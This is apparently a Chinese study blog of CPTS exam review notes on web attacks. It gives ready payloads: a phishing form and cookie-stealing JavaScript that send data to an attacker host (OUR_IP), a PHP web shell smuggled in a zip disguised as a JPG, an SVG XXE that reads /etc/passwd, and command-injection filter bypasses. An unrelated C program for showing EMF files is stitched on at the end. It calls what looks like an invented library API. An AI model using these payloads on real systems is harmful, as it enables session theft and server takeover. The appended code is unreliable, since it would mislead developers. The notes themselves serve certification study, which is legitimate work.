HackTheBox - 学院【CPTS】复习3 - XSS、文件包含、文件上传、命令注入

XSS

登录表单

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');x

这里DOM直接插入一个登录表单可以进行钓鱼

通过DOM可以直接移除原有的登录表单

document.getElementById().remove()

远程加载js

<script src="http://OUR_IP/script.js"></script>

会话劫持

在thm的学习当中,我们知道直接通过fetch()或者iframe标签进行http请求有可能会被浏览器的蜜汁安全给拦截,所以我们可以使用img标签的src来发起http请求,因为img请求起来总是像是合法的,它也并不会被浏览器拦截

document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;

LFI

PHP Wrappers

数据包装器可用于包含外部数据,包括 PHP 代码。但是,只有在 PHP 配置中启用了 allow_url_include 设置时,数据包装器才可用。

  • php://filter
  • data://text/plain,
  • php://input

RFI

可以尝试http、ftp这些协议。如果是Windows,还可以使用UNC路径,它将会尝试使用smb和http

文件上传搭配文件包含

常规打法。通过文件上传传一个图片马,用文件包含直接包含出来从而RCE

还可以通过上传zip压缩包然后使用zip://解压并RCE

M1n9K1n9@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php

?file=zip://./uploads/shell.jpg%23shell.php&cmd=id

PHPSession

  • /var/lib/php/sessions/sess_xxxxxxxx
  • C:\Windows\Temp\

phpsession会记录与用户相关的数据,如果文件内容我们可控,那么我们将能造成RCE

服务器日志以及配置文件

这里包含了linux和Windows常见的服务日志和配置文件路径列表

以及SecLists中的burp-parameter-names.txt用于找到可能导致文件包含的参数

文件上传

常见后缀列表

SecLists的web-extensions.txt

白名单绕过

当遇到不安全的白名单限制时

$fileName = basename($_FILES["uploadFile"]["name"]);

if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
    echo "Only images are allowed";
    die();
}

可以尝试双扩展

反向双扩展

<FilesMatch ".+\.ph(ar|p|tml)">
    SetHandler application/x-httpd-php
</FilesMatch>

这是Web 服务器确定允许 PHP 代码执行哪些文件的方式

这也就意味着只要文件名的"."后能被以上规则匹配,则将会被php执行,那么我们就可以尝试反向双扩展:

.php.jpg

这个案例能被匹配到

Content-Type / MIME Type

文件上传造成XSS

往图片插入js代码,并以Content-Type:text/html的类型上传,这将可能会造成xss

文件上传造成XXE

通过上传恶意svg图片进行XXE

<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg>&xxe;</svg>

命令注入

${IFS}

bash花括号

  • {ls,-la}

在bash当中,通过这种形式可以执行命令,bash会自动将里面的逗号转换为空格,而这种方式也只有bash才可以

${环境变量}

${变量名:起始下标:长度}

  • ${PATH:0:1} -> /
  • ${LS_COLORS:10:1} -> ;

具体还是根据目标而定

引号绕过

linux和powershell都可以用引号或双引号绕过黑名单

whoam'i'
whoam"i"

而在windows cmd下只能使用双引号

在这里插入图片描述

$@ - ^

在bash下,$@将会被忽略,cmd下^也是如此

反转绕过

$(rev<<<'di')
iex "$('imaohw' -join '')"

如果管道符|被禁用,则可以尝试<<<

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
要在Linux中使用C语言代码打开并展示EMF文件,你可以使用X11图形库来创建一个窗口并在其中显示EMF文件内容。以下是一个简单的程序,可以打开并显示EMF文件: ```c #include <stdio.h> #include <stdlib.h> #include <X11/Xlib.h> #include <X11/Xutil.h> #include <libEMF/emf.h> int main(int argc, char **argv) { EMF_HANDLE handle; EMR *record; int i; if (argc < 2) { printf("Usage: %s <filename.emf>\n", argv[0]); return 1; } handle = EMF_LoadFile(argv[1]); if (handle == NULL) { printf("Failed to open file %s\n", argv[1]); return 2; } Display *display = XOpenDisplay(NULL); if (!display) { printf("Failed to open X11 display\n"); return 3; } int screen = DefaultScreen(display); Window root_window = RootWindow(display, screen); Window window = XCreateSimpleWindow(display, root_window, 0, 0, 640, 480, 0, BlackPixel(display, screen), WhitePixel(display, screen)); XSelectInput(display, window, ExposureMask | KeyPressMask); XMapWindow(display, window); GC gc = XCreateGC(display, window, 0, NULL); while (1) { XEvent event; XNextEvent(display, &event); if (event.type == Expose) { for (i = 0; i < EMF_GetNumRecords(handle); i++) { record = EMF_GetRecord(handle, i); // 处理EMF记录,绘制到窗口中 switch (record->iType) { case EMR_HEADER: // 处理EMF文件头 break; case EMR_POLYLINE: { EMRPOLYLINE *polyline = (EMRPOLYLINE *)record; XPoint *points = malloc(polyline->cpts * sizeof(XPoint)); int j; for (j = 0; j < polyline->cpts; j++) { points[j].x = polyline->apts[j].x; points[j].y = -polyline->apts[j].y; // Y坐标需要翻转 } XDrawLines(display, window, gc, points, polyline->cpts, CoordModeOrigin); free(points); break; } // 处理其他EMF记录类型 default: break; } } } else if (event.type == KeyPress) { break; } } XFreeGC(display, gc); XDestroyWindow(display, window); XCloseDisplay(display); EMF_CloseFile(handle); return 0; } ``` 在程序中,我们首先使用`EMF_LoadFile`函数打开EMF文件,并将返回的句柄保存在`handle`变量中。然后,我们使用X11图形库创建一个窗口,并在窗口的Expose事件中处理EMF记录,并将它们绘制到窗口中。在这个例子中,我们只是处理了EMR_POLYLINE记录类型,并将它们绘制成线条,但是你可以根据需要处理其他记录类型并将它们绘制到窗口中。最后,我们在窗口的KeyPress事件中退出程序,并关闭文件和释放资源。 需要注意的是,使用X11图形库需要先安装它,可以使用以下命令在Ubuntu中安装: ```bash sudo apt-get install libx11-dev ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sugobet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值